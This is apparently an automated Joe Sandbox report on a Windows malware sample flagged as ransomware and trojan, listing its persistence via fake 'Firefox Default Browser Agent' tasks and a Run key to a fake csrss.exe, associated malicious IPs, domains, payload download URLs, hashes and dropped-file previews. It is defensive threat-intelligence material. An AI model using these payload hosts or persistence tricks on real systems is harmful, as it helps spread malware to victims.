31.166.129.162	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	693054
Start date and time:	2022-08-30 15:52:21 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	3
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winEXE@62/31@23/21
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 6.9% (good quality ratio 4.2%) Quality average: 29.5% Quality standard deviation: 29.4%
HCA Information:	Successful, ratio: 89% Number of executed functions: 43 Number of non-executed functions: 99
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, BackgroundTransferHost.exe, consent.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, g.agametog.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:54:12	Task Scheduler	Run new task: Firefox Default Browser Agent 4307C34AFAC6046A path: C:\Users\user\AppData\Roaming\viiivdw
15:55:05	API Interceptor	4x Sleep call for process: ADFF.exe modified
15:55:33	Task Scheduler	Run new task: Firefox Default Browser Agent 673D6CCF2B0B2EDD path: C:\Users\user\AppData\Roaming\wtiivdw
15:56:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Windows\rss\csrss.exe"
15:56:22	Task Scheduler	Run new task: csrss path: C:\Windows\rss\csrss.exe
15:56:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Windows\rss\csrss.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
115.88.24.202	file.exe	Get hash	malicious	Browse	azd.at/tmp/
	file.exe	Get hash	malicious	Browse	linislominyt11.at/
	SQ06a7DzYY.exe	Get hash	malicious	Browse	rgyui.top/dl/build2.exe
	file.exe	Get hash	malicious	Browse	azd.at/tmp/
	file.exe	Get hash	malicious	Browse	azd.at/tmp/
	VNuZFR6FKA.exe	Get hash	malicious	Browse	acacaca.org/files/1/build3.exe
	10AB970FF8D48B8E4EA2DB0CABAB8C8911B87A242B3E8.exe	Get hash	malicious	Browse	linislominyt11.at/
	da5dINQkNa.exe	Get hash	malicious	Browse	acacaca.org/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
	rx1zMmnhhZ.exe	Get hash	malicious	Browse	acacaca.org/test1/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C
	vSPGsfU57w.exe	Get hash	malicious	Browse	acacaca.org/test1/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C
	Sj7u49y5qF.exe	Get hash	malicious	Browse	rgyui.top/dl/build2.exe
	OxNU74Khy8.exe	Get hash	malicious	Browse	linislominyt11.at/
	mjyYu0IKl5.exe	Get hash	malicious	Browse	linislominyt11.at/
	zr47ihfIo3.exe	Get hash	malicious	Browse	linislominyt11.at/
	G3h6zgTvrT.exe	Get hash	malicious	Browse	linislominyt11.at/
	2Jk0ShpqVi.exe	Get hash	malicious	Browse	linislominyt11.at/
	il3wku1I4k.exe	Get hash	malicious	Browse	linislominyt11.at/
	JctMPASIkE.exe	Get hash	malicious	Browse	linislominyt11.at/
	http://timetogof.at/vento/6523.exe	Get hash	malicious	Browse	timetogof.at/vento/6523.exe
	2ym3vt601i.exe	Get hash	malicious	Browse	esmic.at/tmp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
v.xyzgamev.com	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	R2axoid4If.exe	Get hash	malicious	Browse	172.67.188.70
	x9rKinpIYb.exe	Get hash	malicious	Browse	172.67.188.70
	fcBCfIrYKl.exe	Get hash	malicious	Browse	172.67.188.70
	n7BcSmkxd4.exe	Get hash	malicious	Browse	172.67.188.70
	OkbEuAbPVe.exe	Get hash	malicious	Browse	172.67.188.70
	1DHOc1acXH.exe	Get hash	malicious	Browse	172.67.188.70
	EDa3BsiRFM.exe	Get hash	malicious	Browse	172.67.188.70
	Y3sZUTYrPw.exe	Get hash	malicious	Browse	172.67.188.70
	lUKKUgVut8.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
megaplusredirection.tedata.net	1WnuQr9T5B.exe	Get hash	malicious	Browse	213.158.173.252
megaplusredirection.tedata.net	5TGoW7zb3I.exe	Get hash	malicious	Browse	213.158.173.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LGDACOMLGDACOMCorporationKR	file.exe	Get hash	malicious	Browse	115.88.24.203
	file.exe	Get hash	malicious	Browse	211.53.230.67
	file.exe	Get hash	malicious	Browse	211.119.84.112
	REQUEST FOR QUOTE (SUPPLIES).exe	Get hash	malicious	Browse	121.254.178.252
	file.exe	Get hash	malicious	Browse	211.119.84.111
	file.exe	Get hash	malicious	Browse	211.40.39.251
	file.exe	Get hash	malicious	Browse	211.171.233.129
	file.exe	Get hash	malicious	Browse	210.182.29.70
	file.exe	Get hash	malicious	Browse	211.119.84.111
	file.exe	Get hash	malicious	Browse	210.182.29.70
	file.exe	Get hash	malicious	Browse	210.92.250.133
	file.exe	Get hash	malicious	Browse	211.171.233.129
	file.exe	Get hash	malicious	Browse	210.92.250.133
	file.exe	Get hash	malicious	Browse	210.92.250.133
	file.exe	Get hash	malicious	Browse	210.182.29.70
	file.exe	Get hash	malicious	Browse	115.88.24.202
	file.exe	Get hash	malicious	Browse	211.119.84.111
	file.exe	Get hash	malicious	Browse	115.88.24.202
	file.exe	Get hash	malicious	Browse	211.171.233.126
	2uE45eIM1V	Get hash	malicious	Browse	182.162.62.219
TE-ASTE-ASEG	file.exe	Get hash	malicious	Browse	41.41.255.235
	z4x3Y6wrRZ.elf	Get hash	malicious	Browse	197.57.40.12
	bYIuoVath8.elf	Get hash	malicious	Browse	197.55.123.255
	HXOIPEoZVp.elf	Get hash	malicious	Browse	41.235.194.64
	uqmpu1eFjx.elf	Get hash	malicious	Browse	41.35.35.159
	fV4m2F9zdV.elf	Get hash	malicious	Browse	41.239.218.33
	ht4NgRbdkg	Get hash	malicious	Browse	41.43.14.7
	o3gyTNzRHs	Get hash	malicious	Browse	41.39.124.184
	nl656Q3bfq	Get hash	malicious	Browse	197.46.130.82
	BGYSmzvtt5	Get hash	malicious	Browse	197.43.173.200
	Jj2Im3H7a9	Get hash	malicious	Browse	41.233.132.37
	UyMx5FaGyH	Get hash	malicious	Browse	197.61.182.142
	SecuriteInfo.com.Linux.Siggen.9999.12311.761	Get hash	malicious	Browse	156.223.97.239
	x86	Get hash	malicious	Browse	41.44.233.227
	arm7	Get hash	malicious	Browse	197.46.191.19
	arm	Get hash	malicious	Browse	197.41.170.108
	mipsel	Get hash	malicious	Browse	41.44.233.216
	mips	Get hash	malicious	Browse	41.237.9.46
	SecuriteInfo.com.Linux.Siggen.9999.26319.30633	Get hash	malicious	Browse	156.204.25.208
	2uE45eIM1V	Get hash	malicious	Browse	156.197.159.195

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	KN2ZPgeewA.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	de01306472173a9ce5cf08dd608c83b5ec71e028b120f.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	R2axoid4If.exe	Get hash	malicious	Browse	104.21.40.196
	x9rKinpIYb.exe	Get hash	malicious	Browse	104.21.40.196
	SecuriteInfo.com.BScope.Trojan.Wacatac.24873.13450.exe	Get hash	malicious	Browse	104.21.40.196
	http://bit.ly/e0Mw9w	Get hash	malicious	Browse	104.21.40.196
	test01.xlsx	Get hash	malicious	Browse	104.21.40.196
	YLLrEA0cHp.exe	Get hash	malicious	Browse	104.21.40.196
	D5Er68mUeG.exe	Get hash	malicious	Browse	104.21.40.196
	DDkpxce8IO.exe	Get hash	malicious	Browse	104.21.40.196
	Order.docx.doc	Get hash	malicious	Browse	104.21.40.196
	WmgwJ27J1D.exe	Get hash	malicious	Browse	104.21.40.196
	syoimWt1Cz.exe	Get hash	malicious	Browse	104.21.40.196
	RNrY6OVNVQ.exe	Get hash	malicious	Browse	104.21.40.196
	vPTwYQFN7S.exe	Get hash	malicious	Browse	104.21.40.196
	Cj2VoFAgf6.exe	Get hash	malicious	Browse	104.21.40.196
	fMbKsKaIfF.exe	Get hash	malicious	Browse	104.21.40.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\5449.exe	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\6382.exe	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	KHJGTNuePB.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E0A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698470316161892
Encrypted:	false
SSDEEP:	96:kiZYWLoID01OY0Y/WOJLHKYEZa7AtJi8eDIWw/5no/at2zxkT2WI17lI3:hZDkEzmJk5aaUzxkCR17lI3
MD5:	DA71B8AC3F92CBB72CD392FFEC137739
SHA1:	DD0A4CF6735F392B4DEA764A4EBE183BE3F65052
SHA-256:	1D14C54E4AD59D29898EC0C9BA9E1487B898C4D5E0090550C0F31D61959577D0
SHA-512:	8B4B19D5B554AA1970C0A49D5215E658693786F823938E2AA5EB361C2007BE68A9F1BBF89FF1BC7A0B951BA80980641163AEC464E3FBB3A505C75B7B4E07F6A4
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.2.6.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8466.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	57384
Entropy (8bit):	3.0409184281899706
Encrypted:	false
SSDEEP:	1536:yVHGoXg6GkP96tMpqc8gfpdXkziSXZCwd3JpjZ9/Y:yVHGoXg6GkP96tMpqc8gfpdXkziSJCwe
MD5:	2E38613474C6F2907B1EB23FE4F75CED
SHA1:	0A27606D43424447EA081995A0F5045FD1D031E8
SHA-256:	FA9F28525A6ABE8A3C55BD0E03B849EFAB7314A131D5782DFE3D65F28E538BF5
SHA-512:	3853760E2CCAE696CE068E92DA5B730E45B8B7608C9FEA1A21B9027B354348C1000EA940BDCED0B7A7E415F6B05D1CD84F991730E80B9070B08FF8F8D461DFDD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8AC.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.699363168347394
Encrypted:	false
SSDEEP:	96:kiZYWtf3GAvGOrYZoYsjWsHwyYEZq3tJis9Br3wA2amaarfuHXcoeIlP3:hZDthlhYrqaufuHXcoplP3
MD5:	17216CE42EAD37EF4D536367C778FB9C
SHA1:	453FDB4CC15FFF86CB84E3E5CA15FEC7DA7DDC58
SHA-256:	52EEBE0A515F244A29E445B97CF5D4B5ACCBF75C101E79DDB5D301C47AB2458E
SHA-512:	E00600032A8A2C98D664BF7570930635B23817221A12676F113632088C792863F58761CD1A711267423CD7DAF00D55E76129B575FB1E767C56C8CDC6F12FCD9F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.2.6.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER948.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	55130
Entropy (8bit):	3.0442251481078815
Encrypted:	false
SSDEEP:	1536:1gHvMaOguAz56305dBDP2PjZWiwcfydmbuoD:1gHvMaOguAz56305dBDP2PjZVwcfydmB
MD5:	6633174DBE528488388DAC8B6F26BEEF
SHA1:	8251CE7E5CFABD556FD50B9DEBB119C13F8DAA32
SHA-256:	5C91B06907AC728994482E044D39E3CBBE99E661AFC934CB04ECC303E4864526
SHA-512:	6D0F907E891AEFE6C357DC52F8DB5CA07187575B57F6F5249DEA5ABB7755EDA91F6A7AC7F4A7F2E96CBDCC4842FFA2A5C8A02D6125F7D30904AF2EC789C7F8FF
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE43.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698262805806156
Encrypted:	false
SSDEEP:	96:kiZYWGkjd4YUYWpWDiHiYEZ1itJiRHGr+wmj2ajiBPahKIVo3:hZDkjw9aajiBih9Vo3
MD5:	A0D593A690A24BAE1AB35592E2FAB365
SHA1:	8D1A1908A9316D2770D3CF06E701BAC928B6CB1A
SHA-256:	45E6CA103B4E8C91040C34C90143412EDD969EB1331E55E90F29988CB62B1B1F
SHA-512:	3E227FB8808BBC7E9D4D180F3EA81ED05ED8D542B0E1F22555F9D9D4429E8569F8FB11C3EF9062CC15B31A22392D7115498B074281C95014EE5659C6D90FCF55
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.2.6.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDA6.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	59880
Entropy (8bit):	3.038489521668128
Encrypted:	false
SSDEEP:	1536:mKHtbufhWPPXtJgZXc84QP0bH/5VSKiJCUYBMHuh0Y6mZ02:mKHtbufhWPPXtJgZXc84QP0bH/5VSKi+
MD5:	D4257CA7EE4ABD9AC9BF040CDC04C9CC
SHA1:	5DEF722A26E8E7EEF8B8E99437CC7EA199D59F35
SHA-256:	5F04B0A2B40C4AFF7B28319158AF4072A0B2F6918F8817EAA6723270764654EC
SHA-512:	BFA09806AABED958D6B9D2A62DF8A04284EAD30336B75DE728658CD69BB7E3FC64DA155A81DD3FB864F77A840705ACBE5F591DA80F675B278B3DB1060148287C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\Users\user\AppData\Local\Temp\42BA.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	296960
Entropy (8bit):	6.5520767907767885
Encrypted:	false
SSDEEP:	6144:H15WO/YlXyx6C2sAqrvM/pTqEWTf0do/GXDatyIKNztNv7NZRg5a3bHn4GTnQ:V5W5qY8f2iGXetyICNTNZqa3B7
MD5:	453BD144146B8AB11AEBD9E0D93524C7
SHA1:	64E6C43D2C33F8ED4123C79EEA32805DDB800140
SHA-256:	79067A6C2BEC2FEF9160B831C4BEDA409B5436EF37CE2B932A50A549F085B545
SHA-512:	9357F9719BDADD2C5C0952655408F5083766AC32A0060A4D030213F49D1CF3D6E00C06C936245E41840D587C54C024DDD00A159BFE30CD7C1D79E1493CA24C9A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........$..w..w..w..Fw..w..Pwm..w.P.w..w..wS..w..Ww..w..Gw..w..Bw..wRich..w................PE..L...xr.a......................A.....P........ ....@...........................D.....\|1..........................................d....pD..5..............................................................@............................................text...D........................... ..`.data...HKA.. ...>..................@....rsrc....5...pD..6...R..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5449.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	995328
Entropy (8bit):	7.811224969114582
Encrypted:	false
SSDEEP:	12288:TMtJV32GUgjsdn7QpUa9ygzpcFFqh/F8hScsFn3BZBZ/8DvnFeJCQ1l013BxQS67:2JVmKAqp5IE2FmKMcEn/uWCQT05/cj
MD5:	4F6E39467946C2D389E2E990DA995094
SHA1:	E8139606F1D4EC5A3A825BB0424DB10F50DD3890
SHA-256:	46FDBA120585ACD40B18286AE2799AEE9C88828EEB472A39B5E14DEE4C5831D7
SHA-512:	9C2562F14B8EDCECAD15DA987A24FF7BD781899EAA0056B7453866DC6BCFBC864074B4DA2DBD490609F2BCA0D22C3285D77D618746599002AB9EB35CEEFC1695
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 31%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'.g.F.4.F.4.F.4...5.F.4...5.F.4...5.F.4...5.F.4.F.43F.4...5.F.4../4.F.4...5.F.4Rich.F.4........................PE..L.....IZ.................f...........k............@.......................................@...... ......................................................:..............8....p..........................@............................................text....e.......f.................. ..`.data...H............j..............@....idata..n............l..............@..@.rsrc...............~..............@..@.reloc.......p.......&..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6382.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	188416
Entropy (8bit):	6.933168679739018
Encrypted:	false
SSDEEP:	3072:DBu/booFZs+4oOYcmtbRkF/pstBaDqwONnct43EpstBaDqwONnct43rBl3N2UR:DBu/boGUoOciF/p/uwONct43Ep/uwON/
MD5:	AE9E2CE4CF9B092A5BBFD1D5A609166E
SHA1:	00C12EC16B5116403AE1A9923B114451880B741D
SHA-256:	CA5795709AF3BC2E03EC02C7307D5C85A844C421E36AFE30EB0F571E79342E87
